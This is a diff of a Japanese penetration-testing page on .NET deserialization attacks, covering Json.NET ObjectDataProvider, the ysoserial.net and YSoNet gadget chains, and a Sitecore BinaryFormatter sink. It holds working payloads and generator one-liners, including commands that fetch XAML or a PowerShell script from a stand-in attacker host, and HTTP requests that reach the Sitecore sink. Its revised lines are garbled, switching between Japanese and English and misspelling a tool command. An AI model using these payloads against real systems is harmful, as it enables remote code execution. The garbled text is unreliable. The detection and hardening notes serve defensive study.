-[公式ウェブページ](https://www.newtonsoft.com/json)には、このライブラリが**Json.NETの強力なJSONシリアライザーを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズすることを可能にする**と記載されています。したがって、**ObjectDataProviderガジェットをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。
+In the [official web page](https://www.newtonsoft.com/json) には、このライブラリが**Json.NETの強力なJSONシリアライザで任意の.NETオブジェクトをシリアライズおよびデシリアライズする**ことを可能にすると記載されています。したがって、もし**ObjectDataProvider gadgetをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。

-### Json.Netの例
+### Json.Net の例

-まず、このライブラリを使用してオブジェクトを**シリアライズ/デシリアライズ**する方法の例を見てみましょう：
+まず、このライブラリを使ってオブジェクトを**シリアライズ/デシリアライズ**する方法の例を見てみましょう：
 ```java
 using System;
 using Newtonsoft.Json;
@ -134,9 +134,9 @@ Console.WriteLine(desaccount.Email);
 ```
 ### Json.Netの悪用

-[ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、エクスプロイトを作成しました:
+[ysoserial.net](https://github.com/pwntester/ysoserial.net) を使用してエクスプロイトを作成しました:
 ```java
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
+yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {
 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
 'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-このコードでは**エクスプロイトをテスト**できます。実行すると、計算機が起動するのがわかります。
+このコードでは **test the exploit** を実行して試すことができます。実行すると calc が起動するのが確認できます:
 ```java
 using System;
 using System.Text;
@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
 ```
 ## 高度な .NET ガジェットチェーン (YSoNet & ysoserial.net)

-上記で紹介した ObjectDataProvider + ExpandedWrapper テクニックは、アプリケーションが **安全でない .NET デシリアライズ** を行う際に悪用できる多くのガジェットチェーンのうちの一つに過ぎません。**[YSoNet](https://github.com/irsdl/ysonet)**（および古い [ysoserial.net](https://github.com/pwntester/ysoserial.net)）のような現代のレッドチームツールは、数十のガジェットとシリアル化フォーマット用の **使える悪意のあるオブジェクトグラフ** の生成を自動化します。
+上で紹介した ObjectDataProvider + ExpandedWrapper テクニックは、アプリケーションが **unsafe .NET deserialization** を行う際に悪用可能な多数のガジェットチェーンのうちの一つに過ぎません。Modern red-team tooling である **[YSoNet](https://github.com/irsdl/ysonet)**（および旧来の [ysoserial.net](https://github.com/pwntester/ysoserial.net)）は、数十種類のガジェットとシリアライザ形式向けに、使える形の悪意あるオブジェクトグラフを自動生成します。

-以下は、*YSoNet* に同梱されている最も有用なチェーンの簡潔なリファレンスで、それらの動作方法とペイロードを生成するための例コマンドを簡単に説明しています。
+以下は *YSoNet* に同梱されている最も有用なチェーンを簡潔にまとめたリファレンスで、動作概要とペイロード生成コマンド例を示します。

-| ガジェットチェーン | キーアイデア / プリミティブ | 一般的なシリアライザー | YSoNet ワンライナー |
+| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
 |--------------|----------------------|--------------------|------------------|
-| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、マテリアライズされた後にデリゲートが*任意の*攻撃者提供のメソッド（例: `Process.Start`）を指すようにします | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して、*NET ≥4.8 タイプフィルタリングをバイパス*し、提供されたクラスの **コンストラクタ** を直接呼び出すか、C# ファイルをその場で **コンパイル** します | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | `System.Data.DataSet` の **レガシー XML** 表現を利用して、`<ColumnMapping>` / `<DataType>` フィールドを埋めることで任意の型をインスタンス化します（オプションで `--spoofedAssembly` でアセンブリを偽装） | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | WPF 対応のランタイム (> .NET 5) でプロパティゲッターをチェーンし、`System.CodeDom.Compiler.CompilerResults` に到達した後、`-c` で提供された DLL を *コンパイル* または *ロード* します | `Json.NET` タイプレス, `MessagePack` タイプレス | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (レビュー) | WPF `System.Windows.Data.ObjectDataProvider` を使用して、制御された引数で任意の静的メソッドを呼び出します。YSoNet は悪意のある XAML をリモートでホストする便利な `--xamlurl` バリアントを追加します | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` に `ScriptBlock` を埋め込み、PowerShell がオブジェクトをデシリアライズするときに実行されます | PowerShell リモーティング, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+| **TypeConfuseDelegate** | `DelegateSerializationHolder` レコードを破損させ、実体化されたときにデリゲートが攻撃者指定の*任意の*メソッド（例: `Process.Start`）を指すようにする | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` を悪用して *bypass .NET ≥4.8 type-filtering* し、指定クラスの**コンストラクタ**を直接呼び出すか、C# ファイルを即座に**コンパイル**する | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | `System.Data.DataSet` の**レガシーな XML** 表現を利用し、`<ColumnMapping>` / `<DataType>` フィールドを埋めることで任意型をインスタンス化（必要に応じて `--spoofedAssembly` でアセンブリを偽装） | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | WPF 対応ランタイム（> .NET 5）上でプロパティの getter を連鎖させ `System.CodeDom.Compiler.CompilerResults` に到達し、`-c` で与えた DLL を*コンパイル*または*ロード*する | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (review) | WPF の `System.Windows.Data.ObjectDataProvider` を使い、制御された引数で任意の static メソッドを呼び出す。YSoNet は悪意ある XAML をリモートホストするための便利な `--xamlurl` 変種を追加している | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | `ScriptBlock` を `System.Management.Automation.PSObject` に埋め込み、PowerShell がオブジェクトをデシリアライズするときに実行させる | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

 > [!TIP]
-> すべてのペイロードはデフォルトで **stdout に書き込まれ**、他のツール（例: ViewState ジェネレーター、base64 エンコーダー、HTTP クライアント）にパイプするのが簡単です。
+> すべてのペイロードはデフォルトで **written to *stdout*** に出力されるため、ViewState ジェネレータ、base64 エンコーダ、HTTP クライアント等の他ツールへのパイプが簡単に行えます。

-### YSoNet のビルド / インストール
+### Building / Installing YSoNet

-*Actions ➜ Artifacts* / *Releases* に事前コンパイルされたバイナリがない場合、以下の **PowerShell** ワンライナーがビルド環境をセットアップし、リポジトリをクローンしてすべてを *Release* モードでコンパイルします:
+If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
 ```powershell
 Set-ExecutionPolicy Bypass -Scope Process -Force;
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,17 +216,48 @@ cd ysonet
 nuget restore ysonet.sln
 msbuild ysonet.sln -p:Configuration=Release
 ```
-コンパイルされた `ysonet.exe` は `ysonet/bin/Release/` にあります。
+The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.

-### 検出と強化
-* **予期しない** `w3wp.exe`、`PowerShell.exe`、またはユーザー提供データをデシリアライズするプロセス（例：`MessagePack`、`Json.NET`）の子プロセスを検出します。
-* レガシーの `BinaryFormatter` / `NetDataContractSerializer` を削除できない場合は、常に **タイプフィルタリング** (`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector`、`SerializationBinder`、*など*) を有効にし、強制します。
-* 可能な限り **`System.Text.Json`** または **`DataContractJsonSerializer`** に移行し、ホワイトリストベースのコンバータを使用します。
-* 決して必要としないウェブプロセスで読み込まれることのない危険な WPF アセンブリ（`PresentationFramework`、`System.Workflow.*`）をブロックします。
+### 検出とハードニング
+* **検出**: `w3wp.exe`、`PowerShell.exe`、またはユーザ提供データをデシリアライズする任意のプロセス（例: `MessagePack`, `Json.NET`）の予期しない子プロセスを監視する。
+* レガシーの `BinaryFormatter` / `NetDataContractSerializer` を除去できない場合は、`TypeFilterLevel` = *Full*、カスタム `SurrogateSelector`、`SerializationBinder` 等を用いて **type-filtering** を有効化し強制する。
+* 可能な限り、ホワイトリストベースのコンバーターを用いて **`System.Text.Json`** または **`DataContractJsonSerializer`** に移行する。
+* Web プロセスで不要な場合は、`PresentationFramework`、`System.Workflow.*` などの危険な WPF アセンブリが読み込まれないようブロックする。

-## 参考文献
+## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
+
+認証済みの Sitecore XP Content Editor フローで到達可能な実用的な .NET sink:
+
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` は `new BinaryFormatter().Deserialize(...)` をラップしている。
+- トリガーパス: パイプライン `convertToRuntimeHtml` → `ConvertWebControls` は、`id="{iframeId}_inner"` を持つ兄弟要素を検索し、その `value` 属性を base64 エンコードされたシリアライズ済みデータとして読み取る。結果は文字列にキャストされ、HTML に挿入される。
+
+最小限のエンドツーエンド（認証済み）:
+```
+// Load HTML into EditHtml session
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc"></iframe>
+<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
+</html>
+
+// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+- Gadget: デシリアライズ中に副作用が実行される、string を返す任意の BinaryFormatter チェーン。payloads を生成するには YSoNet/ysoserial.net を参照してください。
+
+For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
+
+## 参考資料
 - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
 - [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
 - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)

 {{#include ../../banners/hacktricks-training.md}}